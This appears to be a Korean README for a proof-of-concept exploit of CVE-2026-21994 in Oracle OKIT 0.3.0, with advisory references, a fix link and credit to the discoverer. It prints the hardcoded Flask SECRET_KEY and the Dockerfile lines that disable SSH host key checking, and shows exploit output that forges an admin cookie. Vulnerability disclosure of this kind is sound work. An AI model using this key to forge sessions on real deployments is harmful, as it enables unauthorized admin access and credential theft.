
CVE-2026-21994에 대한 개념 증명 익스플로잇으로, Oracle OKIT에서 하드코딩된 Flask SECRET_KEY를 통한 인증되지 않은 관리자 세션 위조와 SSH 호스트 검증 우회를 시연합니다.
Oracle OKIT(oci-designer-toolkit) 버전 0.3.0에는 인증되지 않은 완전한 탈취로 이어지는 두 가지 심각한 잘못된 구성이 포함되어 있습니다. 공개 저장소에 노출된 하드코딩된 Flask SECRET_KEY를 통해 공격자는 자격 증명 없이도 유효한 관리자 세션 쿠키를 위조할 수 있습니다. 또한 Docker 이미지는 SSH 호스트 검증을 완전히 비활성화하여 네트워크 공격자가 인프라 배포 중에 OCI API 키와 개인 키를 가로챌 수 있게 합니다.
1. 하드코딩된 SECRET_KEY — okitclassic/okitserver/config.py:4
SECRET_KEY='8980ffsd675747jjjh'
Flask는 이 키를 사용하여 세션 쿠키에 서명합니다. 이 키가 공개 저장소에 하드코딩되어 있으므로 공격자는 자격 증명 없이 유효한 관리자 쿠키를 위조하고 OKIT 대시보드에 접근할 수 있습니다.
2. SSH 호스트 검증 비활성화 — Dockerfile:41
&& echo ' StrictHostKeyChecking no' >> /etc/ssh/ssh_config \
&& echo ' UserKnownHostsFile=/dev/null' >> /etc/ssh/ssh_config \
컨테이너는 SSH 호스트 지문을 절대 확인하지 않습니다. 네트워크 공격자는 배포를 중간자 공격(MitM)하여 OCI 자격 증명을 탈취할 수 있습니다.
클론된 저장소 디렉터리 내에서 exploit.py를 실행하세요:
python3 exploit.py
[*] Scanning okitclassic/okitserver/config.py ...
[!] VULNERABLE — Hardcoded SECRET_KEY found: 8980ffsd675747jjjh
[+] Authentication bypass possible with zero credentials.
[*] Scanning Dockerfile ...
[!] VULNERABLE — SSH host verification is DISABLED.
[+] Network attacker can MitM deployments and steal OCI credentials.
[*] Forging admin session cookie ...
[!] SUCCESS — Forged cookie: .eJwlzj0OgkAQBeC7bG1...
| CVE ID | CVE-2026-21994 |
| GitHub Advisory | GHSA-g6qw-3gmw-m78m |
| CWE | CWE-284 — 부적절한 접근 제어 |
| Oracle Advisory 매핑 | oracle.com/security-alerts/public-vuln-to-advisory-mapping |
| Oracle CVE 참조 | oracle.com/security-alerts/all-oracle-cves |
| 수정 | oracle/oci-designer-toolkit#780 |
Gouri Sankar A — g0w6y 님이 발견 및 보고